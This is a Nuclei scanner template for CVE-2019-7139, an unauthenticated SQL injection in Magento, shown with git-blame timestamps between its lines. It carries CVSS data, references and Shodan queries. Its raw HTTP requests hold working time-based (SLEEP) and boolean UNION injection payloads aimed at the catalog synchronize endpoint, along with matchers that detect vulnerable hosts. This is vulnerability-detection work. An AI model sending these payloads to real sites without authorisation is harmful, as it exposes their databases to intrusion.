nuclei-templates/http/cves/2019/CVE-2019-7139.yaml

73 lines
2.9 KiB
YAML
Raw Normal View History

2024-03-16 17:23:48 +00:00
id: CVE-2019-7139
2024-04-15 12:34:11 +00:00
2024-03-16 17:23:48 +00:00
info:
2024-04-15 12:34:11 +00:00
name: Magento - SQL Injection
2024-03-16 17:23:48 +00:00
author: MaStErChO
2024-04-15 12:34:11 +00:00
severity: critical
2024-03-16 17:23:48 +00:00
description: |
2024-04-15 12:34:11 +00:00
An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage.
remediation: This issue is fixed in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2.
2024-03-16 17:23:48 +00:00
reference:
- https://pentest-tools.com/blog/exploiting-sql-injection-in-magento-with-sqlmap
- https://www.ambionics.io/blog/magento-sqli
2024-04-15 12:34:11 +00:00
- https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13
- https://github.com/koutto/jok3r-pocs
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-7139
cwe-id: CWE-89
epss-score: 0.00582
epss-percentile: 0.778
cpe: cpe:2.3:a:magento:magento:*:*:*:*:open_source:*:*:*
2024-03-16 17:23:48 +00:00
metadata:
2024-04-15 12:34:11 +00:00
verified: true
max-request: 4
vendor: magento
product: magento
2024-03-16 17:23:48 +00:00
framework: magento
shodan-query:
- http.component:"Magento"
- cpe:"cpe:2.3:a:magento:magento"
- http.component:"magento"
2024-04-15 12:34:11 +00:00
tags: cve,cve2019,sqli,magento
2024-03-16 17:23:48 +00:00
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
2024-04-15 12:34:11 +00:00
2024-03-16 17:23:48 +00:00
- |
2024-04-15 12:34:11 +00:00
@timeout: 20s
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((6)))a)%3d1+--+- HTTP/1.1
2024-03-16 17:23:48 +00:00
Host: {{Hostname}}
2024-04-15 12:34:11 +00:00
2024-03-16 17:23:48 +00:00
- |
2024-04-15 12:34:11 +00:00
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1
2024-03-16 17:23:48 +00:00
Host: {{Hostname}}
2024-04-15 12:34:11 +00:00
2024-03-16 17:23:48 +00:00
- |
2024-04-15 12:34:11 +00:00
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1
2024-03-16 17:23:48 +00:00
Host: {{Hostname}}
stop-at-first-match: true
matchers:
- type: dsl
2024-04-15 12:34:11 +00:00
name: time-based
2024-03-16 17:23:48 +00:00
dsl:
2024-04-15 12:34:11 +00:00
- 'duration_2>=6'
- 'status_code_1 == 200'
2024-03-16 17:42:53 +00:00
- 'contains(body_1, "text/x-magento-init")'
- 'contains(content_type_2, "application/json")'
2024-03-16 17:23:48 +00:00
condition: and
- type: dsl
2024-04-15 12:34:11 +00:00
name: blind-based
2024-03-16 17:23:48 +00:00
dsl:
2024-03-16 17:42:53 +00:00
- 'contains(body_1, "text/x-magento-init")'
2024-04-15 12:34:11 +00:00
- 'contains(content_type_3, "application/json") && contains(content_type_4, "application/json")'
- 'status_code_3 == 200 && status_code_4 == 400'
- 'len(body_3) == 2 && len(body_4) == 2'
condition: and
# digest: 490a0046304402200eea406b4dd10703c590fb378ef5037c6dd0f56ba1b1059e66e8105bca0f38f7022021af5ceb6e9087fbafeb243ba19617bd9e3e9aaff723ebd4fea7892cee66428d:922c64590222798bb761d5b6d8e72950